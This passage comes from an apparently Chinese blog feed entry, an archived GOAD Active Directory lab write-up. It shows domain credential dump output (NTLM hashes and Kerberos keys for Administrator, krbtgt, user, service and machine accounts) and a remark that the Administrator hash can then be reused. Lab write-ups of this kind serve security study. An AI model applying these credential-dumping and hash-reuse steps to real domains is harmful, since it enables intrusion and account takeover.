Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)</span><br><span class="line">[*] Using the DRSUAPI method to get NTDS.DIT secrets</span><br><span class="line">Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::</span><br><span class="line">Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::</span><br><span class="line">krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1afc3352b8464b283bc168d3dd935c78:::</span><br><span class="line">vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::</span><br><span class="line">arya.stark:1110:aad3b435b51404eeaad3b435b51404ee:4f622f4cd4284a887228940e2ff4e709:::</span><br><span class="line">eddard.stark:1111:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8:::</span><br><span class="line">catelyn.stark:1112:aad3b435b51404eeaad3b435b51404ee:cba36eccfd9d949c73bc73715364aff5:::</span><br><span class="line">robb.stark:1113:aad3b435b51404eeaad3b435b51404ee:831486ac7f26860c9e2f51ac91e1a07a:::</span><br><span class="line">sansa.stark:1114:aad3b435b51404eeaad3b435b51404ee:b777555c2e2e3716e075cc255b26c14d:::</span><br><span class="line">brandon.stark:1115:aad3b435b51404eeaad3b435b51404ee:84bbaa1c58b7f69d2192560a3f932129:::</span><br><span class="line">rickon.stark:1116:aad3b435b51404eeaad3b435b51404ee:7978dc8a66d8e480d9a86041f8409560:::</span><br><span class="line">hodor:1117:aad3b435b51404eeaad3b435b51404ee:337d2667505c203904bd899c6c95525e:::</span><br><span class="line">jon.snow:1118:aad3b435b51404eeaad3b435b51404ee:b8d76e56e9dac90539aff05e3ccb1755:::</span><br><span class="line">samwell.tarly:1119:aad3b435b51404eeaad3b435b51404ee:f5db9e027ef824d029262068ac826843:::</span><br><span class="line">jeor.mormont:1120:aad3b435b51404eeaad3b435b51404ee:6dccf1c567c56a40e56691a723a49664:::</span><br><span class="line">sql_svc:1121:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::</span><br><span class="line">north.sevenkingdoms.local\admin01:1125:aad3b435b51404eeaad3b435b51404ee:ebdf1f3a95ab808bbf01ecec1ebdc7ee:::</span><br><span class="line">WINTERFELL$:1001:aad3b435b51404eeaad3b435b51404ee:019b67b6b314f318bda1fcdf56fdec45:::</span><br><span class="line">CASTELBLACK$:1105:aad3b435b51404eeaad3b435b51404ee:3a5c1723373cbe24b801b1cfecf6cec7:::</span><br><span class="line">DESKTOP-HKO7PPDH$:1122:aad3b435b51404eeaad3b435b51404ee:05c7bca85e213cdea0ce9fc93a5c5952:::</span><br><span class="line">krbrelay$:1123:aad3b435b51404eeaad3b435b51404ee:0eddedc35eb7b7ecde0c9f0564e54c83:::</span><br><span class="line">win11$:1124:aad3b435b51404eeaad3b435b51404ee:106d6be7c86c1248e9f29410bf52891d:::</span><br><span class="line">Test123$:1126:aad3b435b51404eeaad3b435b51404ee:4b130d040e6349f2813703bb671fef45:::</span><br><span class="line">Test234$:1127:aad3b435b51404eeaad3b435b51404ee:04c53682276ad85b0680d03cbb608129:::</span><br><span class="line">Test456$:1128:aad3b435b51404eeaad3b435b51404ee:04c53682276ad85b0680d03cbb608129:::</span><br><span class="line">cd1234..$:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::</span><br><span class="line">WIN-SXKFGMHCLVY$:1131:aad3b435b51404eeaad3b435b51404ee:079b73f9d179047c70481513e24a60b1:::</span><br><span class="line">SEVENKINGDOMS$:1104:aad3b435b51404eeaad3b435b51404ee:34831d00299c3d29c2e48fa7444afe8d:::</span><br><span class="line">[*] Kerberos keys grabbed</span><br><span class="line">Administrator:aes256-cts-hmac-sha1-96:e7aa0f8a649aa96fab5ed9e65438392bfc549cb2695ac4237e97996823619972</span><br><span class="line">Administrator:aes128-cts-hmac-sha1-96:bb7b6aed58a7a395e0e674ac76c28aa0</span><br><span class="line">Administrator:des-cbc-md5:fe58cdcd13a43243</span><br><span class="line">krbtgt:aes256-cts-hmac-sha1-96:2b2a02d222c517711baf01c1254a00ada695fd849fc8f0e92210587e10e257aa</span><br><span class="line">krbtgt:aes128-cts-hmac-sha1-96:7a2021c885bcfc796aa694921c5a8b4a</span><br><span class="line">krbtgt:des-cbc-md5:944032f875df7576</span><br><span class="line">vagrant:aes256-cts-hmac-sha1-96:aa97635c942315178db04791ffa240411c36963b5a5e775e785c6bd21dd11c24</span><br><span class="line">vagrant:aes128-cts-hmac-sha1-96:0d7c6160ffb016857b9af96c44110ab1</span><br><span class="line">vagrant:des-cbc-md5:16dc9e8ad3dfc47f</span><br><span class="line">arya.stark:aes256-cts-hmac-sha1-96:2001e8fb3da02f3be6945b4cce16e6abdd304974615d6feca7d135d4009d4f7d</span><br><span class="line">arya.stark:aes128-cts-hmac-sha1-96:8477cba28e7d7cfe5338d172a23d74df</span><br><span class="line">arya.stark:des-cbc-md5:13525243d6643285</span><br><span class="line">eddard.stark:aes256-cts-hmac-sha1-96:f6b4d01107eb34c0ecb5f07d804fa9959dce6643f8e4688df17623b847ec7fc4</span><br><span class="line">eddard.stark:aes128-cts-hmac-sha1-96:5f9b06a24b90862367ec221a11f92203</span><br><span class="line">eddard.stark:des-cbc-md5:8067f7abecc7d346</span><br><span class="line">catelyn.stark:aes256-cts-hmac-sha1-96:c8302e270b04252251de40b2bd5fba37395b55d5ed9ac95e03213dc739827283</span><br><span class="line">catelyn.stark:aes128-cts-hmac-sha1-96:50ce7e2ad069fa40fb2bc7f5f9643d93</span><br><span class="line">catelyn.stark:des-cbc-md5:6b314670a2f84cfb</span><br><span class="line">robb.stark:aes256-cts-hmac-sha1-96:d7df5069178bbc93fdc34bbbcb8e374fd75c44d6ce51000f24688925cc4d9c2a</span><br><span class="line">robb.stark:aes128-cts-hmac-sha1-96:b2965905e68356d63fedd9904357cc42</span><br><span class="line">robb.stark:des-cbc-md5:c4b62c797f5dd01f</span><br><span class="line">sansa.stark:aes256-cts-hmac-sha1-96:a268e7a385f4f165c6489c18a3bdeb52c5e505050449c6f9aeba4bc06a7fcbed</span><br><span class="line">sansa.stark:aes128-cts-hmac-sha1-96:e2e6e885f6f4d3e25d759ea624961392</span><br><span class="line">sansa.stark:des-cbc-md5:4c7c16e3f74cc4d3</span><br><span class="line">brandon.stark:aes256-cts-hmac-sha1-96:6dd181186b68898376d3236662f8aeb8fa68e4b5880744034d293d18b6753b10</span><br><span class="line">brandon.stark:aes128-cts-hmac-sha1-96:9de3581a163bd056073b71ab23142d73</span><br><span class="line">brandon.stark:des-cbc-md5:76e61fda8a4f5245</span><br><span class="line">rickon.stark:aes256-cts-hmac-sha1-96:79ffda34e5b23584b3bd67c887629815bb9ab8a1952ae9fda15511996587dcda</span><br><span class="line">rickon.stark:aes128-cts-hmac-sha1-96:d4a0669b1eff6caa42f2632ebca8cd8d</span><br><span class="line">rickon.stark:des-cbc-md5:b9ec3b8f2fd9d98a</span><br><span class="line">hodor:aes256-cts-hmac-sha1-96:a33579ec769f3d6477a98e72102a7f8964f09a745c1191a705d8e1c3ab6e4287</span><br><span class="line">hodor:aes128-cts-hmac-sha1-96:929126dcca8c698230b5787e8f5a5b60</span><br><span class="line">hodor:des-cbc-md5:d5764373f2545dfd</span><br><span class="line">jon.snow:aes256-cts-hmac-sha1-96:5a1bc13364e758131f87a1f37d2f1b1fa8aa7a4be10e3fe5a69e80a5c4c408fb</span><br><span class="line">jon.snow:aes128-cts-hmac-sha1-96:d8bc99ccfebe2d6e97d15f147aa50e8b</span><br><span class="line">jon.snow:des-cbc-md5:084358ceb3290d7c</span><br><span class="line">samwell.tarly:aes256-cts-hmac-sha1-96:b66738c4d2391b0602871d0a5cd1f9add8ff6b91dcbb7bc325dc76986496c605</span><br><span class="line">samwell.tarly:aes128-cts-hmac-sha1-96:3943b4ac630b0294d5a4e8b940101fae</span><br><span class="line">samwell.tarly:des-cbc-md5:5efed0e0a45dd951</span><br><span class="line">jeor.mormont:aes256-cts-hmac-sha1-96:be10f893afa35457fcf61ecc40dc032399b7aee77c87bb71dd2fe91411d2bd50</span><br><span class="line">jeor.mormont:aes128-cts-hmac-sha1-96:1b0a98958e19d6092c8e8dc1d25c788b</span><br><span class="line">jeor.mormont:des-cbc-md5:1a68641a3e9bb6ea</span><br><span class="line">sql_svc:aes256-cts-hmac-sha1-96:24d57467625d5510d6acfddf776264db60a40c934fcf518eacd7916936b1d6af</span><br><span class="line">sql_svc:aes128-cts-hmac-sha1-96:01290f5b76c04e39fb2cb58330a22029</span><br><span class="line">sql_svc:des-cbc-md5:8645d5cd402f16c7</span><br><span class="line">north.sevenkingdoms.local\admin01:aes256-cts-hmac-sha1-96:932317d6c409d624aea9f223a3d47ec9042b4e7d0bc856324e918189ccf33c97</span><br><span class="line">north.sevenkingdoms.local\admin01:aes128-cts-hmac-sha1-96:6fa2d0782fe5a9a8946acdc34779b905</span><br><span class="line">north.sevenkingdoms.local\admin01:des-cbc-md5:bab51aeca1ec1ca7</span><br><span class="line">WINTERFELL$:aes256-cts-hmac-sha1-96:9f46dd231e24cd29a4fb9c92cc4bfb52ac90c4afedad4527ca3b3b879b9682b2</span><br><span class="line">WINTERFELL$:aes128-cts-hmac-sha1-96:528ed5d9308e2a82a0d68748cb5d6c81</span><br><span class="line">WINTERFELL$:des-cbc-md5:7ff72c75d5d683b5</span><br><span class="line">CASTELBLACK$:aes256-cts-hmac-sha1-96:6f5423d17fd317a6bec4cfb0fe0872bfc43597cb622351b9c8ccfeca38d3be62</span><br><span class="line">CASTELBLACK$:aes128-cts-hmac-sha1-96:ccdacc849a0c9800078212adb3f6f851</span><br><span class="line">CASTELBLACK$:des-cbc-md5:6e68a4a19454349b</span><br><span class="line">DESKTOP-HKO7PPDH$:aes256-cts-hmac-sha1-96:86c358a1374a7734c9da842e359e3fae878e7fcbe68ba40cf9dc61a399842f51</span><br><span class="line">DESKTOP-HKO7PPDH$:aes128-cts-hmac-sha1-96:b4df35e06ffe272af05bf23c130d8d07</span><br><span class="line">DESKTOP-HKO7PPDH$:des-cbc-md5:687c19cdaba49132</span><br><span class="line">krbrelay$:aes256-cts-hmac-sha1-96:9b24562bed8ff22f72ddb14c597c74889100ce2b84749a396b4af47876be2f7f</span><br><span class="line">krbrelay$:aes128-cts-hmac-sha1-96:513eabc0aa30a686a2e5fb4b937615ef</span><br><span class="line">krbrelay$:des-cbc-md5:aec4043738c7e38c</span><br><span class="line">win11$:aes256-cts-hmac-sha1-96:1a0872d983af4250b4eac66af59fdb3c57a35ccd1967420228810c526a35915e</span><br><span class="line">win11$:aes128-cts-hmac-sha1-96:221795e2c6278e258edcb2750355adc5</span><br><span class="line">win11$:des-cbc-md5:04fea88c9419a432</span><br><span class="line">Test123$:aes256-cts-hmac-sha1-96:ddec45e9ba6aa0c87f5bfe1f732eda7bb66c97486beb7c69b0cfb8cddeef28ee</span><br><span class="line">Test123$:aes128-cts-hmac-sha1-96:6341bf5ed96823f7d39af437c07a2e92</span><br><span class="line">Test123$:des-cbc-md5:e07a4adc325d2c9e</span><br><span class="line">Test234$:aes256-cts-hmac-sha1-96:f8746b95c42047051fa169f81b58ec88e1f8aac60dfe2c58cecab09b116ca32f</span><br><span class="line">Test234$:aes128-cts-hmac-sha1-96:5114a367c629151d9e92c70ef2a74ecc</span><br><span class="line">Test234$:des-cbc-md5:97d686b997920bdc</span><br><span class="line">Test456$:aes256-cts-hmac-sha1-96:0cf0c36a22200e0c87471cfc84b4c2ca3b2824d49af6c8bcc271e10b77acb653</span><br><span class="line">Test456$:aes128-cts-hmac-sha1-96:707002b94973e6a27446b574a09fa4c4</span><br><span class="line">Test456$:des-cbc-md5:5bd6d319d5b0524a</span><br><span class="line">WIN-SXKFGMHCLVY$:aes256-cts-hmac-sha1-96:9116d96c8434751c276e7201cd20bad12794d60eedb700f036b3bc259d1cbb5f</span><br><span class="line">WIN-SXKFGMHCLVY$:aes128-cts-hmac-sha1-96:35f20ca5201ec3b910164ea74b0628cc</span><br><span class="line">WIN-SXKFGMHCLVY$:des-cbc-md5:1f324697b66e7f3e</span><br><span class="line">SEVENKINGDOMS$:aes256-cts-hmac-sha1-96:b06b661d4b02880e55e846888400f36a46c37b492baf9fca43c181498b0081cc</span><br><span class="line">SEVENKINGDOMS$:aes128-cts-hmac-sha1-96:bc137e4170c0c00794c618de0606988e</span><br><span class="line">SEVENKINGDOMS$:des-cbc-md5:f483da8651026b86</span><br><span class="line">[*] Cleaning up...</span><br></pre></td></tr></table></figure><p>后面就可以用 <code>Administrator</code> 的哈希去删除我们刚注册的域机器账户，这里就不再继续展开了。</p>]]>
    </content>
    <id>https://3h1xy.com/GOAD-Wirteup-Part1/</id>
    <link href="https://3h1xy.com/GOAD-Wirteup-Part1/"/>
    <published>2025-12-20T12:06:26.000Z</published>
    <summary>GOAD 域渗透的早期草稿，记录信息收集、匿名枚举域用户、获取域信息与 NoPAC 初探。保留作归档，建议优先阅读后续正式教程。</summary>
    <title>【归档】GOAD 域渗透早期草稿：信息收集、匿名枚举与 NoPAC 初探</title>
    <updated>2026-05-26T16:50:32.674Z</updated>
  </entry>
</feed>
